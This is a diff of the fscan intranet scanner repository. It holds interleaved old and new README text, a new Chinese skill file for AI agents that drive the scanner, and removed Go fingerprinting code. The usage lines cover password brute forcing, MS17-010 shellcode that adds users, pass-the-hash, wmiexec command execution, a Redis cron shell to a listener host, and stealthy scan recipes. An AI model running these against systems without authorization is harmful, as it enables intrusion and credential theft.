fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
|
||||
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
|
||||
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
|
||||
```
|
||||
Compile command
|
||||
```
|
||||
go build -ldflags="-s -w " -trimpath main.go
|
||||
upx -9 fscan.exe (Optional, compressed)
|
||||
```
|
||||
Installation for arch users
|
||||
`yay -S fscan-git or paru -S fscan-git`
|
||||
## Build
|
||||
|
||||
Full parameters
|
||||
```
|
||||
Usage of ./fscan:
|
||||
-br int
|
||||
Brute threads (default 1)
|
||||
-c string
|
||||
exec command (ssh|wmiexec)
|
||||
-cookie string
|
||||
set poc cookie,-cookie rememberMe=login
|
||||
-debug int
|
||||
every time to LogErr (default 60)
|
||||
-dns
|
||||
using dnslog poc
|
||||
-domain string
|
||||
smb domain
|
||||
-full
|
||||
poc full scan,as: shiro 100 key
|
||||
-h string
|
||||
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||
-hash string
|
||||
hash
|
||||
-hf string
|
||||
host file, -hf ip.txt
|
||||
-hn string
|
||||
the hosts no scan,as: -hn 192.168.1.1/24
|
||||
-m string
|
||||
Select scan type ,as: -m ssh (default "all")
|
||||
-no
|
||||
not to save output log
|
||||
-nobr
|
||||
not to Brute password
|
||||
-nopoc
|
||||
not to scan web vul
|
||||
-np
|
||||
not to ping
|
||||
-num int
|
||||
poc rate (default 20)
|
||||
-o string
|
||||
Outputfile (default "result.txt")
|
||||
-p string
|
||||
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
|
||||
-pa string
|
||||
add port base DefaultPorts,-pa 3389
|
||||
-path string
|
||||
fcgi、smb romote file path
|
||||
-ping
|
||||
using ping replace icmp
|
||||
-pn string
|
||||
the ports no scan,as: -pn 445
|
||||
-pocname string
|
||||
use the pocs these contain pocname, -pocname weblogic
|
||||
-pocpath string
|
||||
poc file path
|
||||
-portf string
|
||||
Port File
|
||||
-proxy string
|
||||
set poc proxy, -proxy http://127.0.0.1:8080
|
||||
-pwd string
|
||||
password
|
||||
-pwda string
|
||||
add a password base DefaultPasses,-pwda password
|
||||
-pwdf string
|
||||
password file
|
||||
-rf string
|
||||
redis file to write sshkey file (as: -rf id_rsa.pub)
|
||||
-rs string
|
||||
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
||||
-sc string
|
||||
ms17 shellcode,as -sc add
|
||||
-silent
|
||||
silent scan
|
||||
-socks5 string
|
||||
set socks5 proxy, will be used in tcp connection, timeout setting will not work
|
||||
-sshkey string
|
||||
sshkey file (id_rsa)
|
||||
-t int
|
||||
Thread nums (default 600)
|
||||
-time int
|
||||
Set timeout (default 3)
|
||||
-top int
|
||||
show live len top (default 10)
|
||||
-u string
|
||||
url
|
||||
-uf string
|
||||
urlfile
|
||||
-user string
|
||||
username
|
||||
-usera string
|
||||
add a user base DefaultUsers,-usera user
|
||||
-userf string
|
||||
username file
|
||||
-wmi
|
||||
start wmi
|
||||
-wt int
|
||||
Set web timeout (default 5)
|
||||
```bash
|
||||
# Standard build
|
||||
go build -ldflags="-s -w" -trimpath -o fscan .
|
||||
|
||||
# With Web UI
|
||||
go build -tags web -ldflags="-s -w" -trimpath -o fscan-web .
|
||||
```
|
||||
|
||||
# 4. Demo
|
||||
## Install
|
||||
|
||||
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
|
||||
```bash
|
||||
# Arch Linux
|
||||
yay -S fscan-git
|
||||
```
|
||||
|
||||
## Screenshots
|
||||
|
||||
`fscan.exe -h 192.168.x.x`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis write pubkey)
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (add multiple passwords)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
|
||||
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5 proxy with authentication)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
|
||||
`fscan.exe -h 192.0.0.0/8 -m icmp`
|
||||

|
||||
|
||||
# 5. Disclaimer
|
||||

|
||||
|
||||
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
|
||||

|
||||
|
||||
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
|
||||
## Roadmap
|
||||
|
||||
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
|
||||
### Release Schedule
|
||||
- **Release Cycle** - Monthly release
|
||||
- **First 2 Weeks** - New features and enhancements
|
||||
- **Last 2 Weeks** - Bug fixes and code integration
|
||||
- **PRs Welcome** - Contributions are appreciated!
|
||||
|
||||
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
|
||||
### Plugin Ecosystem
|
||||
- Continuously expand service plugin coverage
|
||||
- Develop more vulnerability detection and exploitation capabilities for each service plugin
|
||||
- Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional
|
||||
|
||||
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
|
||||
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
|
||||
### Fscan-lite
|
||||
- Lightweight version rewritten in C
|
||||
- Smaller binary size, fewer dependencies
|
||||
- Support for embedded/restricted environments
|
||||
- Directory: [fscan-lite](./fscan-lite)
|
||||
|
||||
### Fscan-lab
|
||||
- Intranet penetration testing lab environment
|
||||
- Covers all vulnerability scenarios supported by fscan
|
||||
- Development testing and feature verification platform
|
||||
- Learning and practice environment for beginners
|
||||
- Directory: [fscan-lab](./fscan-lab)
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use.
|
||||
|
||||
## 404StarLink
|
||||
|
||||
# 6. 404StarLink 2.0 - Galaxy
|
||||

|
||||
|
||||
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy),If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
|
||||
fscan is a member of [404Team StarLink 2.0](https://github.com/knownsec/404StarLink2.0-Galaxy).
|
||||
|
||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||
## Star History
|
||||
|
||||
|
||||
# 7. Star Chart
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
# 8. Donation
|
||||
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
|
||||
## Donate
|
||||
|
||||
# 9. Reference links
|
||||
https://github.com/Adminisme/ServerScan
|
||||
https://github.com/netxfly/x-crack
|
||||
https://github.com/hack2fun/Gscan
|
||||
https://github.com/k8gege/LadonGo
|
||||
https://github.com/jjf012/gopoc
|
||||
[Buy the author a drink](image/sponsor.png)
|
||||
|
||||
## References
|
||||
|
||||
# 10. Dynamics
|
||||
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
|
||||
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
|
||||
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
|
||||
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
|
||||
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
|
||||
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
|
||||
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
|
||||
[+] 2022/1/11 Add oracle password explosion.
|
||||
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
|
||||
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
|
||||
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
|
||||
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
|
||||
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
|
||||
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
|
||||
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
|
||||
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
|
||||
[+] 2021/4/21 Add netbios detection and domain control identification functions.
|
||||
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
|
||||
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
|
||||
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
|
||||
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
|
||||
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
|
||||
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
|
||||
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
|
||||
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
|
||||
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
|
||||
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
|
||||
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
|
||||
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
|
||||
|
||||
[url-doczh]: README.md
|
||||
- https://github.com/Adminisme/ServerScan
|
||||
- https://github.com/netxfly/x-crack
|
||||
- https://github.com/hack2fun/Gscan
|
||||
- https://github.com/k8gege/LadonGo
|
||||
- https://github.com/jjf012/gopoc
|
||||
- https://github.com/chainreactors/gogo
|
||||
- https://github.com/0x727/FingerprintHub
|
||||
- https://github.com/killmonday/fscanx
|
||||
|
||||
@@ -0,0 +1,304 @@
|
||||
---
|
||||
name: fscan-agent
|
||||
description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。
|
||||
argument-hint: <目标IP/网段> [附加参数]
|
||||
allowed-tools: Bash, Read, Agent
|
||||
---
|
||||
|
||||
# Fscan AI Agent Skill
|
||||
|
||||
## 工具概述
|
||||
|
||||
Fscan 是一款内网综合扫描工具,功能包括:
|
||||
- 主机存活探测(ICMP / TCP)
|
||||
- 端口扫描与服务识别
|
||||
- 漏洞检测(MS17-010、Redis 未授权等)
|
||||
- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等)
|
||||
- Web 指纹识别与 POC 扫描
|
||||
- NetBIOS / SMB 信息收集
|
||||
- 本地信息收集(杀软检测、系统信息等)
|
||||
|
||||
二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`。
|
||||
|
||||
## 调用格式
|
||||
|
||||
```bash
|
||||
# AI agent 标准用法:NDJSON 输出,无人类日志干扰
|
||||
fscan -h <目标> -silent [其他参数]
|
||||
|
||||
# 解析输出
|
||||
fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
|
||||
```
|
||||
|
||||
## 核心参数
|
||||
|
||||
### 目标指定
|
||||
|
||||
| 参数 | 说明 | 示例 |
|
||||
|------|------|------|
|
||||
| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` |
|
||||
| `-hf` | 从文件读取目标 | `-hf targets.txt` |
|
||||
| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` |
|
||||
| `-ep` | 排除端口 | `-ep 25,110` |
|
||||
| `-eh` | 排除主机 | `-eh 192.168.1.1` |
|
||||
| `-u` | 指定 URL(Web 扫描) | `-u https://example.com` |
|
||||
| `-uf` | URL 文件 | `-uf urls.txt` |
|
||||
|
||||
### 扫描控制
|
||||
|
||||
| 参数 | 说明 | 默认值 |
|
||||
|------|------|--------|
|
||||
| `-m` | 扫描模式 | `all` |
|
||||
| `-t` | 端口扫描线程数 | `600` |
|
||||
| `-mt` | 模块线程数 | `20` |
|
||||
| `-time` | 连接超时(秒) | `3` |
|
||||
| `-gt` | 全局超时(秒) | `180` |
|
||||
| `-np` | 跳过存活检测 | `false` |
|
||||
| `-ntp` | 禁用 TCP 补充探测 | `false` |
|
||||
| `-ao` | 仅存活检测 | `false` |
|
||||
| `-nobr` | 禁用暴力破解 | `false` |
|
||||
| `-full` | 全量 POC 扫描 | `false` |
|
||||
| `-max-retries` | 最大重试次数 | `1` |
|
||||
|
||||
### 认证
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-user` | 用户名 |
|
||||
| `-pwd` | 密码 |
|
||||
| `-usera` | 追加用户名 |
|
||||
| `-pwda` | 追加密码,支持逗号或空格分隔多个值 |
|
||||
| `-userf` | 用户名字典文件 |
|
||||
| `-pwdf` | 密码字典文件 |
|
||||
| `-domain` | 域名(SMB/WMI) |
|
||||
| `-sshkey` | SSH 私钥文件 |
|
||||
| `-hash` / `-hashf` | NTLM Hash / Hash 文件 |
|
||||
|
||||
### 代理
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) |
|
||||
| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) |
|
||||
| `-iface` | 指定本地网卡 IP(VPN 场景) |
|
||||
|
||||
### 输出
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-silent` | 静默模式:stdout 仅输出 NDJSON |
|
||||
| `-o` | 输出文件路径(默认 `result.txt`) |
|
||||
| `-f` | 输出格式:`txt` / `json` / `csv` |
|
||||
| `-no` | 禁用文件保存 |
|
||||
| `-debug` | 调试模式:日志写入 `fscan_debug.log` |
|
||||
| `-log` | 日志级别(`debug` / `info` / `base` / `error`) |
|
||||
|
||||
### 扫描模式 `-m` 的取值
|
||||
|
||||
| 值 | 说明 |
|
||||
|------|------|
|
||||
| `all` | 全部扫描(默认) |
|
||||
| `icmp` | 仅 ICMP 存活检测 |
|
||||
| 插件名 | 仅运行指定插件(如 `ssh`、`smb`、`ms17010`、`webtitle`) |
|
||||
|
||||
## 服务插件列表
|
||||
|
||||
| 插件 | 默认端口 | 功能 |
|
||||
|------|----------|------|
|
||||
| `ftp` | 21 | FTP 弱口令 |
|
||||
| `ssh` | 22 | SSH 弱口令 |
|
||||
| `telnet` | 23 | Telnet 弱口令 |
|
||||
| `smtp` | 25 | SMTP 弱口令 |
|
||||
| `findnet` | 135 | RPC 网络信息发现(NetInfo) |
|
||||
| `netbios` | 139 | NetBIOS 信息收集 |
|
||||
| `smb` | 445 | SMB 弱口令 |
|
||||
| `ms17010` | 445 | MS17-010 永恒之蓝检测 |
|
||||
| `ldap` | 389 | LDAP 弱口令 |
|
||||
| `mssql` | 1433 | MSSQL 弱口令 |
|
||||
| `oracle` | 1521 | Oracle 弱口令 |
|
||||
| `mysql` | 3306 | MySQL 弱口令 |
|
||||
| `rdp` | 3389 | RDP 弱口令 + 系统信息 |
|
||||
| `postgresql` | 5432 | PostgreSQL 弱口令 |
|
||||
| `vnc` | 5900 | VNC 弱口令 |
|
||||
| `redis` | 6379 | Redis 未授权 + 弱口令 |
|
||||
| `elasticsearch` | 9200 | ES 未授权 |
|
||||
| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 |
|
||||
| `memcached` | 11211 | Memcached 未授权 |
|
||||
| `kafka` | 9092 | Kafka 未授权 |
|
||||
| `activemq` | 61616 | ActiveMQ 弱口令 |
|
||||
| `rabbitmq` | 5672 | RabbitMQ 弱口令 |
|
||||
| `cassandra` | 9042 | Cassandra 弱口令 |
|
||||
| `neo4j` | 7687 | Neo4j 弱口令 |
|
||||
| `rsync` | 873 | Rsync 未授权 |
|
||||
| `webtitle` | 80/443 | Web 标题 + 指纹识别 |
|
||||
| `webpoc` | 80/443 | Web 漏洞 POC |
|
||||
|
||||
## 本地插件(`-local`)
|
||||
|
||||
```bash
|
||||
fscan -local avdetect # 杀软检测
|
||||
fscan -local systeminfo # 系统信息收集
|
||||
fscan -local envinfo # 环境变量信息
|
||||
fscan -local dcinfo # 域控信息
|
||||
fscan -local fileinfo # 敏感文件搜索
|
||||
```
|
||||
|
||||
## NDJSON 输出 Schema(`-silent` 模式)
|
||||
|
||||
每行一个 JSON 对象,所有字段定义:
|
||||
|
||||
| 字段 | 类型 | 出现条件 | 说明 |
|
||||
|------|------|----------|------|
|
||||
| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` |
|
||||
| `target` | string | 必有 | 原始目标 `host` 或 `host:port` |
|
||||
| `status` | string | 必有 | 状态描述 |
|
||||
| `host` | string | 必有 | IP 地址 |
|
||||
| `port` | int | PORT/SERVICE/VULN | 端口号 |
|
||||
| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) |
|
||||
| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https) |
|
||||
| `banner` | string | SERVICE | 服务 Banner |
|
||||
| `title` | string | SERVICE (web) | 网页标题 |
|
||||
| `url` | string | SERVICE (web) | 完整 URL |
|
||||
| `vulnerability` | string | VULN | 漏洞名称 |
|
||||
| `username` | string | VULN (弱口令) | 用户名 |
|
||||
| `password` | string | VULN (弱口令) | 密码 |
|
||||
| `plugin` | string | SERVICE/VULN | 产生结果的插件名 |
|
||||
| `version` | string | SERVICE | 服务版本号 |
|
||||
| `os` | string | SERVICE | 操作系统信息 |
|
||||
|
||||
### 输出示例
|
||||
|
||||
```jsonl
|
||||
{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"}
|
||||
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22}
|
||||
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445}
|
||||
{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"}
|
||||
{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"}
|
||||
{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"}
|
||||
{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"}
|
||||
{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"}
|
||||
```
|
||||
|
||||
### 结果产出顺序
|
||||
|
||||
1. `HOST` — 存活探测阶段
|
||||
2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错)
|
||||
3. `SERVICE` — 服务识别阶段
|
||||
4. `VULN` — 漏洞/弱口令检测阶段
|
||||
|
||||
同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。
|
||||
|
||||
## 常用场景参数组合
|
||||
|
||||
### 全网段快速扫描
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent
|
||||
```
|
||||
|
||||
### 跳过存活检测直接扫端口(目标明确时)
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent -np
|
||||
```
|
||||
|
||||
### 指定端口精确扫描
|
||||
|
||||
```bash
|
||||
fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379
|
||||
```
|
||||
|
||||
### 仅存活探测
|
||||
|
||||
```bash
|
||||
fscan -h 172.16.0.0/16 -silent -m icmp
|
||||
```
|
||||
|
||||
### 低速隐蔽扫描
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent -t 30 -time 5
|
||||
```
|
||||
|
||||
### 通过 SOCKS5 代理扫描内网
|
||||
|
||||
```bash
|
||||
fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080
|
||||
```
|
||||
|
||||
### 仅做弱口令检测
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt
|
||||
```
|
||||
|
||||
### Web 目标扫描
|
||||
|
||||
```bash
|
||||
fscan -u https://target.com -silent -full
|
||||
```
|
||||
|
||||
### 多目标文件批量扫描
|
||||
|
||||
```bash
|
||||
fscan -hf targets.txt -silent -o results.json -f json
|
||||
```
|
||||
|
||||
### 带调试日志的排障扫描
|
||||
|
||||
```bash
|
||||
# NDJSON 到 stdout,debug 日志到文件,互不干扰
|
||||
fscan -h 192.168.1.0/24 -silent -debug
|
||||
# 事后查看:cat fscan_debug.log
|
||||
```
|
||||
|
||||
## AI Agent 结果处理
|
||||
|
||||
### Python 管道消费
|
||||
|
||||
```python
|
||||
import json, subprocess
|
||||
|
||||
proc = subprocess.Popen(
|
||||
["fscan", "-h", "192.168.1.0/24", "-silent"],
|
||||
stdout=subprocess.PIPE, text=True
|
||||
)
|
||||
|
||||
hosts, services, vulns = [], [], []
|
||||
for line in proc.stdout:
|
||||
r = json.loads(line)
|
||||
if r["type"] == "HOST":
|
||||
hosts.append(r["host"])
|
||||
elif r["type"] == "SERVICE":
|
||||
services.append(r)
|
||||
elif r["type"] == "VULN":
|
||||
vulns.append(r)
|
||||
|
||||
proc.wait()
|
||||
```
|
||||
|
||||
### jq 过滤
|
||||
|
||||
```bash
|
||||
# 提取所有弱口令
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"'
|
||||
|
||||
# 提取所有漏洞
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"'
|
||||
|
||||
# 提取 Web 服务
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"'
|
||||
|
||||
# 统计开放端口
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON
|
||||
- 空字段不出现在 JSON 中(`omitempty`)
|
||||
- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败
|
||||
- `-silent` 和 `-debug` 可同时使用,互不干扰
|
||||
- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证
|
||||
- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级
|
||||
- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率
|
||||
@@ -1,98 +0,0 @@
|
||||
package WebScan
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// CheckDatas 存储HTTP响应的检查数据
|
||||
type CheckDatas struct {
|
||||
Body []byte // 响应体
|
||||
Headers string // 响应头
|
||||
}
|
||||
|
||||
// InfoCheck 检查URL的指纹信息
|
||||
func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
|
||||
var matchedInfos []string
|
||||
|
||||
// 遍历检查数据
|
||||
for _, data := range *CheckData {
|
||||
// 规则匹配检查
|
||||
for _, rule := range info.RuleDatas {
|
||||
var matched bool
|
||||
var err error
|
||||
|
||||
// 根据规则类型选择匹配内容
|
||||
switch rule.Type {
|
||||
case "code":
|
||||
matched, err = regexp.MatchString(rule.Rule, string(data.Body))
|
||||
default:
|
||||
matched, err = regexp.MatchString(rule.Rule, data.Headers)
|
||||
}
|
||||
|
||||
// 处理匹配错误
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("规则匹配错误 [%s]: %v", rule.Name, err))
|
||||
continue
|
||||
}
|
||||
|
||||
// 添加匹配成功的规则名
|
||||
if matched {
|
||||
matchedInfos = append(matchedInfos, rule.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// MD5匹配检查暂时注释
|
||||
/*
|
||||
if flag, name := CalcMd5(data.Body); flag {
|
||||
matchedInfos = append(matchedInfos, name)
|
||||
}
|
||||
*/
|
||||
}
|
||||
|
||||
// 去重处理
|
||||
matchedInfos = removeDuplicateElement(matchedInfos)
|
||||
|
||||
// 输出结果
|
||||
if len(matchedInfos) > 0 {
|
||||
result := fmt.Sprintf("[+] 发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos)
|
||||
Common.LogSuccess(result)
|
||||
return matchedInfos
|
||||
}
|
||||
|
||||
return []string{""}
|
||||
}
|
||||
|
||||
// CalcMd5 计算内容的MD5并与指纹库比对
|
||||
func CalcMd5(Body []byte) (bool, string) {
|
||||
contentMd5 := fmt.Sprintf("%x", md5.Sum(Body))
|
||||
|
||||
// 比对MD5指纹库
|
||||
for _, md5Info := range info.Md5Datas {
|
||||
if contentMd5 == md5Info.Md5Str {
|
||||
return true, md5Info.Name
|
||||
}
|
||||
}
|
||||
|
||||
return false, ""
|
||||
}
|
||||
|
||||
// removeDuplicateElement 移除切片中的重复元素
|
||||
func removeDuplicateElement(items []string) []string {
|
||||
// 预分配空间
|
||||
result := make([]string, 0, len(items))
|
||||
seen := make(map[string]struct{}, len(items))
|
||||
|
||||
// 使用map去重
|
||||
for _, item := range items {
|
||||
if _, exists := seen[item]; !exists {
|
||||
seen[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
@@ -1,119 +0,0 @@
|
||||
package WebScan
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
//go:embed pocs
|
||||
var Pocs embed.FS
|
||||
var once sync.Once
|
||||
var AllPocs []*lib.Poc
|
||||
|
||||
// WebScan 执行Web漏洞扫描
|
||||
func WebScan(info *Common.HostInfo) {
|
||||
// 确保POC只初始化一次
|
||||
once.Do(initpoc)
|
||||
|
||||
// 构建扫描信息
|
||||
var pocinfo = Common.Pocinfo
|
||||
urlParts := strings.Split(info.Url, "/")
|
||||
pocinfo.Target = strings.Join(urlParts[:3], "/")
|
||||
|
||||
// 执行扫描
|
||||
if pocinfo.PocName != "" {
|
||||
// 指定POC扫描
|
||||
Execute(pocinfo)
|
